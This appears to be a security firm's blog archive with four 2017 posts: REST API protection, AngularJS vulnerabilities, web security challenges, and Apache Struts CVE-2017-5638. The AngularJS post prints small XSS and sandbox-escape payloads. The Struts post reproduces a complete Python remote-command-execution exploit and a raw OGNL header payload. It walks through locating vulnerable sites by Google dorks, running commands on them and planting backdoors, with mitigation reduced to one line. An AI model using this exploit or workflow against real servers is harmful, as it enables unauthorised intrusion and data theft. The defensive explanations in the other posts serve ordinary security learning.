Wednesday 29 November 2017

SECURING – REST API

SECURING – REST API

DESCRIPTIONNow a day’s modern websites and mobile apps are built through more web services with APIs. By using APIs and web services every application functions around intelligent platforms every day for performance, scale, offload, and reliability to so-called “single-page” websites and mobile applications.

To protect the API certain protection should take like controlling API requests, inspect JSON and XML API calls to ensure web server remains available and the data on it is secure. Building custom or own REST API will need to consider the issues surrounding security, scalability, and reliability.
Security Preventions for Protecting API
  • Protecting Simple App ID Key
  • Secure the Communication Channel
  • Prevent Call Tampering
  • Securing the Secrets
  • Handling User Credentials
  • Switching to an OAuth2 Authorization
  • Special Considerations for Mobile Clients

PROTECTING SIMPLE APP ID KEY

The simplest API key is just an application or developer ID string. To access an API, the developer registers his application with the API service and receives a unique ID to use when making API requests. For each API call, the client passes the API key within the HTTP request. An API key is part of the authorization header, for example:
authorization: key some-client-id
API key used to gather statistics about API usage such as call counting or traffic sourcing, can rejecting calls from non-app user agents. If the simple API request call and key are passes in the clear text, a man in the middle attack could successfully modify any API call or reverse engineer the API and can use the API key to create malicious API calls. If API key is compromised, it cannot be blacklisted without breaking existing application instances and requiring an upgrade for the entire installed base.
In this diagram, the client is a mobile application. The resource owner is the application user, and a resource server is a backend server interacting with the client through API calls.

SECURE THE COMMUNICATION CHANNEL

There is a standard approach to secure an HTTP channel for confidentiality, integrity, and authentication through Transport Level Security (TLS). Client and server exchange verify each other’s public keys with mutual Transport Level Security (TLS). Client and server do know which public keys to expect by certificate pinning, so they compare the actual exchanged keys with the expected ones, rather than verifying through a hierarchical chain of certificates.
Client and server must keep the private keys secure. Once the keys are verified, the client and server negotiate a shared secret, a message authentication code (MAC) and encryption algorithms.
The SSL/TLS are secure communication channels which used for API to ensure the protection and its features are mentioned in below image:
Many aspects of such a channel are set through parameters and callback functions:
  • The endpoint role: client or server
  • Verification takes place in the authentication mode
  • The TCP/IP module is provided in the Host-to-host communication channel
  • The random number generator (RNG)
  • The ciphers to use for encryption/decryption
  • Session control functions
  • 509 parameters for certificate-handling and key exchange
This module can be used to create an SSL/TLS server and client and to provide a basic framework to setup and communicate through an SSL/TLS communication channel. The attacks like Man in the Middle cannot be performed in TLS over client traffic when the victim is using an uncompromised mobile device.
Unfortunately, if an attacker can install your client application on a device he controls, he can use a packet sniffer to observe the public key exchange and use that knowledge to decrypt the channel to observe the API key and reverse engineer your APIs. While he may not be able to observe traffic on other clients, he can now create his own malicious app, freely calling your API over a TLS-secure channel. So even when using TLS, you will need additional security to prevent APIs being called from unauthorized applications.

PREVENT CALL TAMPERING

To prevent web parameter tampering, when the user is authenticated it is authorization that grants him permissions to access particular resources. Authorisation in a REST scenario should be implemented on the server side. If a user Tom tries to modify purchase resources by sending an authenticated (e.g. using Basic HTTP Auth, authorized session cookie, etc.) POST request to /purchases/1 endpoint (supplied with appropriate payload). It is the server’s duty to validate if Tom is allowed to modify the entity (e.g. by checking if it was really Tom who made the purchase). If the permission is granted the server proceeds with the operation and responds with 2xx success HTTP status code. Otherwise, 403 error code will be returned informing that the user is not authorized to modify the given purchase. After authorization mechanisms are established an attacker tries to give malicious inputs to overcome authorization mechanisms.
The best improvement can be done is to separate the API key into an ID and a shared secret.  The ID portion of the key is passed with each HTTP request, but the shared secret is used to sign and/or encrypt the information in transit. To ensure message integrity, the client computes a Message Authentication Code(MAC) for each request using the shared secret with an algorithm such as HMAC SHA-256. Using the same secret, the server computes the received message MAC and compares it with the MAC sent in the request.
An attacker can see the ID, without the secret, he cannot properly sign the request so an attacker can still deny or replay the request, but he cannot alter it. The communication channel should never have the secret stored but client and server know it. To further protect critical information from being observed, all or portions of a message can be encrypted before signing using key material derived from the shared secret.

SECURING THE SECRETS

The secrets will be protected by application package like SHARED_SECRET, this package backend can be compromised and further also extract the constant by a hacker in given time. To secure secrets first step is using code obfuscators to make it harder to locate and extract the secret constant. The second step would be encoding a static secret in some computationally simple way, cut that encoding into small segments, and distribute them around the binary. When checking the secret just reassemble and decode the secret in memory never save it in persistent storage.

HANDLING USER CREDENTIALS

The API secret should be secured at any cost, if it is stolen by any hacker all app instances will be compromised and have revocability issues too. Also, secure enhancing API security using application keys is first part but handling user credentials. When the client requests a user to provide user ID and password using basic authentication, which encodes and passes the credentials to the server. Valid credentials get logged and start a user session and return a user session key. When multiple authentications using same credentials should always return different key strings.

SWITCHING TO AN OAUTH2 AUTHORIZATION

The popular way to authenticate user access by OAuth2 authorization token, which is secured by
  • Switching to an Authorization Token
  • Using separate User Authorization from Service
  • Authenticate the App, not just user
  • Should have short token life
The OAuth2 authorization framework defines several authorizations but most service providers follow the full specifications of developer implementation. The OAuth2 follows basic access authentication is called resource owner password credentials grant.
In this process, the mobile client can obtain the resource owner’s id and password credentials directly and also passes them to its back-end resource server. The back-end server validates and the credentials, and returns an access token to the client.
The above image explains about OAuth 2 basic authorization grant flow. JSON web tokens (JWT) which are secure, URL-safe method for representing claims and often used as OAuth2 access tokens. There are different ways that the token can be validated by the resource server. One common approach is to sign the JWT token using a secret known to both the resource server and the authorizing service, which in this case is the resource server itself. An attacker cannot modify a token’s claims without invalidating the signature.
A JWT contains a JSON formatted payload describing a set of claims by which the access token is also called a bearer token and is passed with every API call, typically as an HTTP request header.
The REST web services client uses XML or JSON to secure the API, but a better way to secure the web and mobile applications using JWT. Another step is to separate user Authorisation from service, security can be enhanced. By this way, the user credentials are never exposed to the client or the resource server. In OAuth the authorization and resource servers are separated, when the user submits his/her credentials the authorization server validates the credentials and redirects the access token through the user agent and back to the client. This can be a risky assumption. For example, if an attacker can compromise the user-agent, the attacker may be able to view the access token and subsequently use the token to make valid but malicious API calls.
The OAuth2 authentication using JWT access tokens has one great thing is short lifetime which means an expiration time it works for a limited period only. It refreshes the token after each expired and new token can be received along with an access token during initial authorization.
The above image shows the refresh tokens have longer lifetimes than access tokens but the resource owner will not need to authenticate again until the refresh token expires. If an access token is compromised, then its malicious use is limited to a short time with each refresh, in addition to the new access token, a new refresh token can also be sent. The old refresh token can be immediately blacklisted, or more complicated token rotation schemes can be used to frustrate the malicious use of an individual token.

SPECIAL CONSIDERATIONS FOR MOBILE CLIENTS

The clients from both public and confidential are differentiated in OAuth2. A confidential client able to protect a secret, while a public client cannot make the same guarantee because the OAuth2 specification RFC6749 recommended only to confidential clients, so they can only use authorization grant flow, which uses client secret for authentication. Since public clients cannot protect a secret, they must use an implicit grant flow which does not authenticate the client nor allow refresh tokens. OAuth2 considers mobile apps to be public clients but most authorization service providers elected to implement the authorization grant flow for their mobile apps. This provides the user convenience of refresh tokens but at greater risk unless an alternative to client secrets is used for client authentication.

CONCLUSION

We have discussed how to secure REST API in a very simple example of API Key usage and iteratively enhanced the API protection to secure the communication channel and authorize both clients and users using API keys. Then We had the small introduction of JWT tokens and we moved keys to JWT tokens within several OAuth2 scenarios, in that final implementation, we will remove user credentials and static secrets.
We also combined both user and app authentication services, which provides a robust defense against API abuse.
finally,We have discussed a few threat scenarios and extended the authorization mediator to provide strong authorization.
We Briskinfosec are providing the best solution for API Security.Get in touch to know more about us.

Wednesday 22 November 2017

SECURITY TIPS FOR ANGULAR.JS APPLICATION DEVELOPER

 

SECURITY TIPS FOR ANGULAR.JS APPLICATION DEVELOPER

WHAT IS ANGULAR.JS?Angular.js is an application name estranged into two parts Angular and .JS. Angular defined as the significant meaning of having one or more angles. As well, .js is an extension name of JavaScript, the platform for this framework. It is built on the belief that declarative programming should be used to create user interfaces and connect software components, while imperative programming is better suited to define an application’s business logic

WHY ANGULAR.JS?

Angular.js is used to create a front-end web application framework or RIA (Rich Internet Application). It is the Open source and has some most important core features. Also, it aims to simplify both the development and the testing of such applications by providing a framework for client-side Model View Controller (MVC) and Model View View Model (MVVM) architecture. As we are going to develop web-based applications using AngularJS, it will be good if you have a basic understanding of other web technologies such as HTML, CSS, AJAX, etc.
Following are the most important core features of AngularJS             
A single-page application (SPA) is a web application or website that interacts with the handler by dynamically altering the current page rather than loading entire new pages from a server. This methodology avoids disruption of the user experience between uninterrupted pages, making the application behave more like a desktop application.

THE SCOPE OF ANGULAR.JS SECURITY:

 The angular route is a javascript code block. An Attacker can download and know that how your client side route is working. So, Angular app security scope always lies in client-side browser

We will see the vulnerabilities for software flaws and human source code (human errors) in angular.js

COMMON SECURITY ISSUES WITH ANGULAR JS:

Angular.js package affected some of the following most common vulnerabilities.
  • JSONP Callback Attack
  • Bypass Content Security Policy (CSP)
  • Arbitrary Script Injection
  • Cross Site Scripting (XSS)
  • Clickjacking
  • Arbitrary Code Execution
  • Arbitrary Command Execution
  • Unsafe Object Deserialization
  • Protection Bypass

JSONP CALLBACK ATTACK:

  • JSONP (JSON with padding) is a method used to request data from a server residing in a different domain than the client.
  • Any URL could perform JSONP requests, allowing full access to the browser and the JavaScript context. This can lead to Cross-site Scripting.

BYPASS CONTENT SECURITY POLICY (CSP):

Extension URIs (resource://…) bypass Content-Security-Policy in Chrome and Firefox can always be loaded. Now if a site already has an XSS bug, and uses CSP to protect itself, but the user has an extension installed that uses Angular, an attacker can load Angular from the extension, and Angular’s Auto-bootstrapping can be used to bypass the victim site’s CSP protection.

ARBITRARY SCRIPT INJECTION:

  • AngularJS is affected Arbitrary Script Injection, link[href] attributes were not protected via $sce, which prevents interpolated values that fail the RESOURCE_URL context tests from being used in the interpolation. For example, if the application is running at https://docs.angularjs.org then the following will fail:
      <link href="{{ 'http://mydomain.org/unsafe.css' }}" rel="stylesheet">
  • By default, RESOURCE_URL safe URLs are only allowed from the same domain and protocol as the application document.

CROSS SITE SCRIPTING (XSS):

AngularJS is vulnerable to Cross-site Scripting (XSS) due to the usemap attribute not being blacklisted.

CLICKJACKING:

AngularJS is affected to clickjacking, By enabling the SVG setting without taking other precautions, you might expose your application to click-hijacking attacks. In these attacks, sanitized SVG elements could be positioned outside of the containing element and be rendered over other elements on the page (e.g. a login link). Such behavior can then result in phishing incidents.
To protect against these, explicitly setup overflow: hidden css rule for all potential SVG tags within the sanitized content:
  .rootOfTheIncludedContent svg { overflow: hidden !important; }

ARBITRARY CODE EXECUTION:

Angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Arbitrary Code Execution via unsafe SVG animation tags.     
Exploit Example:
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" />
</a>
</svg>
Here the anchor’s href is animated, starting from a value that’s a javascript URI. This allows execution of arbitrary javascript in the process. Preventing only the animation of links is tricky, as SVG is weird and namespaces aren’t predictable. The fix is to have the sanitizer filter out SVG animation tags instead.

ARBITRARY COMMAND EXECUTION:

One of the angularjs affected versions of the package is vulnerable to Arbitrary Command Injection due to the assignment functions accessing constructors functions, allowing attackers to execute their malicious code.

UNSAFE OBJECT DESERIALIZATION:

AngularJs affected versions of the package are vulnerable to Unsafe Object Deserialization.
The exploitable code:
hasOwnProperty.constructor.prototype.valueOf = valueOf.call;
["a", "alert(1)"].sort(hasOwnProperty.constructor);
  The exploit:
  • sort takes a comparison function and passes it 2 parameters to compare.
  • It then calls .valueOf() if the result is not a primitive.
  • The Function object conveniently accepts two string arguments, it can be used to construct a function. However, this doesn’t do much unless it can be executed.
  • The valueOf function on Function.prototype was set to Function.prototype.call. This causes the function constructed to be executed when sort calls .valueOf() on the result of the comparison.

PROTECTION BYPASS:

AngularJS affected version of the package are vulnerable to Protection Bypass via ng-attr-action and ng-attr-srcdoc allowing binding to Javascript. The fix was to require bindings to form[action] to be $sce.RESOURCE_URL and bindings to iframe[srcdoc] to be $sce.HTML

MITIGATING COMMON VULNERABILITIES IN ANGULAR JS:

  • Updating the latest package version of AngularJS.
  • Monthly checks the software updates for the future.
  • Must install updates or upgrades the latest patches regularly.
  • Also, check the Angular changelog for other security-related updates.

  VERSION:

The AngularJS is the concept of a component-based application architecture. As well as many developers believed and also it provided additional security, despite numerous vulnerabilities that had been discovered that bypassed the sandbox. So the current stable release of AngularJS is (1.6.6).

INJECTION ATTACKS ON ANGULAR JS:

 THE METHODOLOGY OF TEMPLATE INJECTION:

We have defined the following methodology to capture an efficient attack process, based on my experience auditing a range of vulnerable applications and template engines:

SERVER-SIDE TEMPLATE INJECTION:

  • The server is a mechanism to store data and code. So, it must not generate templates based on user inputs and it allows users to inject template directives. It is implemented in the logic of Javascript.
  • Template injection vulnerabilities can be very serious and can lead to complete compromise of the application’s data and functionality, and often of the server that is hosting the application.

  IMPACT:

An attacker using malicious template directives may able to execute arbitrary code and take full control of the web server. Also, possible to use the server as a platform for further attacks against other systems.

PREVENTION:

  • It is recommended to define your Angular templates statically and populate your templates through data bindings on the client-side.
  • Don’t dynamically generate angular templates on the server side.
  • Templates should not be created from the user-controlled User input should be passed to the template using template parameters.

CLIENT-SIDE TEMPLATE INJECTION:

  • When applications using a client-side template framework dynamically embed user input in web pages. When a web page is rendered. So that the framework will scan the page for template expressions, and execute any that it encounters.
  • By using curly braces it’s possible to inject AngularJS expressions in the AngularJS client-side template that is being used by the application. These expressions will be evaluated on the client-side by AngularJS and when combined with a sandbox escape.

       IMPACT:

  • An attacker can exploit this by supplying a malicious template expression that launches a cross-site scripting (XSS) attack. As with normal cross-site scripting, the attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes.
  • Client-side template frameworks often implement a sandbox aimed at hindering the direct execution of arbitrary JavaScript from within a template expression. However, these sandboxes are not intended to be a security control and can normally be bypassed.

       PREVENTION:

  • avoid using server-side code to dynamically embed user input into client-side templates. If this is not practical, consider filtering out template expression syntax from user input prior to embedding it within client-side templates.
  • HTML-encoding is not sufficient to prevent client-side template injection attacks because frameworks perform an HTML-decode of relevant content prior to locating and executing template expressions.
  • It recommends to treat either curly braces in user input as highly dangerous or avoid server-side reflection of user input entirely.

BEST PRACTICES FOR SECURING ANGULARJS :

  • JSON vulnerability allows third-party website to turn your JSON resource URL into JSONP request under some conditions. It is recommended to prefix all JSON requests with the following string “)]}’,\n”. Angular will automatically strip the prefix before processing it as JSON.
  • Angular provides a mechanism to prevent XSRF. When performing XHR requests, the $http service reads a token from a cookie (by default, XSRF – TOKEN) and sets it as an HTTP header (X – XSRF – TOKEN). The header will not be set for Cross-domain
  • The HTML compiler will escape all {{}} & ng-bind by default. So you must include user-generated HTML. (e.g) rich text editors. Take advantage of the services and directives. ng-bind-HTMLhtml (from angular-sanitize)
  • Print as is removing “script” tags (beware of img tags). Fully customizable with $sceProvider & $SanitizeProvider.
  • It is possible to browser-based MITM( Man-In-The-Middle) attack. The same attacker can put arbitrary code execution in your browser. So ensures HTTPS Everywhere.
  • Avoid using Allow-Origin “*”, Unless you have very strong authentication and authorization.
  • The SPA authorization is still up to the server to see the below rules are as follows. Also, it is applied to input validation.
  • Examining the authentication state
  • Examining profile and inferring permissions
  • Enabling Privileged actions
  • Filtering confidential data
  • The code which actually runs in our application is libraries and components. So check dependencies for both client and server vulnerabilities.                                                                                                                                                                                                                                                                                      CONTENT SECURITY POLICY:

Content Security Policy (CSP) is an additional layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. The browsers also support for Content Security Policy (CSP).
Angular js Emerged as one of the most powerful platform has the   ability to streamline the development process and make more responsive web applications. With the popularity these frameworks comes the confusion about the security issues making the application vulnerable.
We BriskInfosec Solution are providing various security and penetration services for safe guarding your business

Monday 20 November 2017

TOP 10 SECURITY CHALLENGES IN WEB TECHNOLOGIES

TOP 10 SECURITY CHALLENGES IN WEB TECHNOLOGIES
Web application technology plays a major role in our regular daily activities like social networking, online shopping and transactions, emails, and other web browsing stuffs. Open Web Application Security Project (OWASP) has defined the major critical vulnerabilities that can affect the web technologies like web server, application, and frameworks used to build the application and the server operating system.
Apart from the critical vulnerabilities derived by OWASP, there are various security threats and challenges are posed on web technologies, web application developers and testers.
  1. STATE-SPONSORED ESPIONAGE:

State-sponsored Espionage is one of the critical challenges for the web technology. It highlights the need to protect critical web services and data from political, financial and state-sponsored hackers and threats. Critical web data and services includes the information needed to run the web and network infrastructure as well as the intellectual property used to manage business.
  1. DISTRIBUTED DENIAL OF SERVICE ATTACKS(DDOS):

DDOS attacks became one of the major threat for the internet. Initially DDOS attacks were used to target networks later on the same attacks were used against web technologies to take down web servers and web service providers. DDOS attack against DYN (a DNS service provider company) DNS services is one of the major and worst DDOS attacks with a bandwidth of nearly 1 Tbps of data. This massive attacks shutdown the internet web services in major parts of Europe and African countries, DDOS attacks are carried out by systems and devices compromised by malware or botnets.
  1. CLOUD MIGRATION:

Since the year of 2013, most of the companies and organizations moved their web services in to cloud based infrastructure. Google, Amazon, Microsoft has developed their own cloud services for providing web services in higher demand to the public and private sectors. This migration into virtual shared infrastructures changes how we address information security and risk management.  This migration has also created a great challenge as well as a threat vector for web technologies and developers. Cloud based attack vectors are getting evolved and new vulnerabilities and exploits for cloud servers are developed.
  1. PASSWORD MANAGEMENT:

Password management is one of the key challenges not only for web technologies but also for networks and mobile services. Password Management enforces users to create strong user-controlled passwords that are less likely to be broken by any attackers. This educational and administrative challenge requires creative solutions and enforced policies.
  1. SABOTAGE:

Sabotage of critical web technologies and services can affect the infrastructure and ultimately impact corporate and backbone networks. This challenge is so potentially perverse because it combines social engineering with software based tools to provide a complex multi-vectored attack profile to compromise the client of a individual web services ex: g mail, yahoo, Facebook, pay pal etc.
  1. BOTNETS:

The term Botnet refers to group or network of computers and other internet connecting devices that are compromised by a malware (spyware, Trojan etc). Compromised systems are referred as bots and their network is botnet. Botnets became a major threat and attack vector used by attackers for carrying out large scale attacks like DDOS. Attackers compromised around 100,000 IOT devices and used them as a botnet army to attack DYN DNS provider with large scale DDOS attack. Attackers used the botnet called “mirai” to carry out this attack.
  1. INSIDER THREAT:

Insider threat is one of the major threats for any organization providing web services. A dissatisfied employee base provides a vector for insider security events, while the inadvertent injection of malware through removable media or web interconnections can make any employee the origination point for a security violation which could create a loophole or vulnerability in the web service.
  1. MOBILITY:

Management and security of mobile based web technologies like mobile apps that provides web services like email, browsing, social media becomes even more challenging for web technology developers. In an organization, bring-your-own-device trend exasperates this challenge when we look at protecting the critical information needed to manage the organization and the network without sacrificing the privacy of employee’s personal information and activities. Attackers managing to compromise the mobile device of a person can further try to hijack web connections and critical data in that mobile device.
  1. PRIVACY LAWS:

Privacy of the users and their data is a major concern in the whole internet. Keeping users and their data in private and safe manner is a big challenge for any web technology providing organization. Some key examples include encrypting the username and passwords of web service users. If there is a data breach in a specific web service provider, the organization has to make sure that users data should not be compromised or leaked.
  1. CLIENT-SIDE AWARENESS:

Lack of security awareness for the users of web application technology can become a threat to the web service even if the web service is not vulnerable to any attack vector. A web application should enforce strong client side security to overcome this challenge. Some examples include banking sites displaying information about credit card security and phishing pages in bank login page to create user awareness from data loss.

CONCLUSION:

All these challenges will affect how a pen tester and developer treats risk and security of a web applicationtechnology from inside and outside of a network. Security testers and developers should take all this challenges in mind while testing and developing a web application for either private corporate usage or public usage.
The Top 10 Security Challenges highlights the key cyber security risks that business are facing now. Secure your application from the top security challenges with briskInfosec

Thursday 16 November 2017

Command Execution Attacks on Apache Struts server (CVE-2017-5638)

  

COMMAND EXECUTION ATTACKS ON APACHE STRUTS SERVER (CVE-2017-5638)

WHAT ARE APACHE STRUTS?

Apache Struts is a free, open-source, MVC framework for creating elegant, modern Java web applications. It favours convention over configuration, is extensible using a plugin architecture, and ships with plugins to support REST, AJAX, and JSON.

WHAT IS CVE 2017-5638 VULNERABILITY?

CVE 2017-5638 is a remote code execution bug that affects the Jakarta Multipart parser in Apache Struts. The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header.
Public Exploit code for Exploiting CVE 2017-5638 (Source: Github)
#!/usr/bin/python
# -*- coding: utf-8 -*-
 import urllib2
import httplib
 def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload+="(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
payload+="(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload+="(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
     try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial
     print(page)
    return page
 if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)
How to Exploit CVE 2017-5638 using above exploit:(Exploit Process)
  1. First, we will find a web application vulnerable to apache struts code execution (CVE 2017-5638) by using google dorks.
  • Once we got the dork search results, we will check if the site is vulnerable or not by using the above exploit.
  • Copy the above exploit code and save it as any name.py. Here I’m using as struts.py. Then give exploit file permission using the command ‘chmod +x 777
  • We will use the above exploit to run system commands on vulnerable application’s server. To confirm the vulnerability we will use exploit to run ‘id’ command in a remote server. Syntax for the exploit is struts.py <url> <cmd to run>
  • As we can see from the above image, the remote server is vulnerable to code execution due to the vulnerable apache struts jakarta parser plugin in “login. Action” page.
After confirming the vulnerability, an attacker or tester can run any operating system commands on the remote server based on the privileges of the remote apache tomcat server. In above image we can see that I’m getting uid=1001 which means that I don’t have root privileges to run privileged commands on remote server.
  • An attacker or tester can check for any privilege escalation vulnerabilities in remote server to get root privileges in some cases
  • Let’s run some system commands
Above command ‘ls’ gives the list of files in the server directory. In this way an attacker can take control of the server and create persistence connection to the remote server by setting up backdoor in the server. 

 OTHER EXPLOIT SOURCES

 Popular exploit framework metasploit has released exploit code for this vulnerability in its metasploit framework exploit modules. We can access that through msfconsole in kali linux or other linux distros.

MANUAL EXPLOITATION OF VULNERABILITY: (WITHOUT EXPLOIT CODE)

  For exploiting this vulnerability manually, we can use intercepting proxies like burp suite or utilities like curl which is available in Linux.

 RAW PAYLOAD FOR EXPLOITATION:

%{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’id’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

  •  If we use Burp suite, we can intercept the request of vulnerable application and add the above payload to the Content-Type header of request. In response we will get the result of our command.
  •  In the above payload, we need to change the #cmd parameter to the command of our choice to run on remote server. For example #cmd=ls or #cmd=id.
  • Since we are using ‘curl’ tool for this example we need to give command as “curl url H Content-type: <payload>”
  • In this way, we can manually exploit this vulnerability manually.

 MITIGATION AGAINST CVE 2017-5638

  Upgrade apache struts to the latest versions like 2.3.32 and 2.5.10.1 to avoid this kind of vulnerably.

REAL-WORLD DATA BREACHES DUE TO CVE 2017-5638

  Equifax Inc. is a consumer credit reporting agency. Equifax collects and aggregates information on over 800 million individual consumers and more than 88 million businesses worldwide.
Equifax, one of the three largest credit reporting firm in the United States, admitted that it had suffered a massive data breach somewhere between mid-May and July this year, which it actually discovered on July 29—that means the data of 143 million people were exposed for over 3 months. This data breach is due to the fact that, the company failed to patch this apache struts vulnerability in jakarta parser (CVE 2017-5638). (Source – thehackernews.com)

REFERENCES

In today’s threat landscape a lot of attention is paid to endpoint systems being compromised, and with good reason, as it accounts for the majority of the malicious activity we observe on a daily basis. BriskInfosecadds the ability to easily block this vulnerability by providing the web application and server vulnerabilitytest.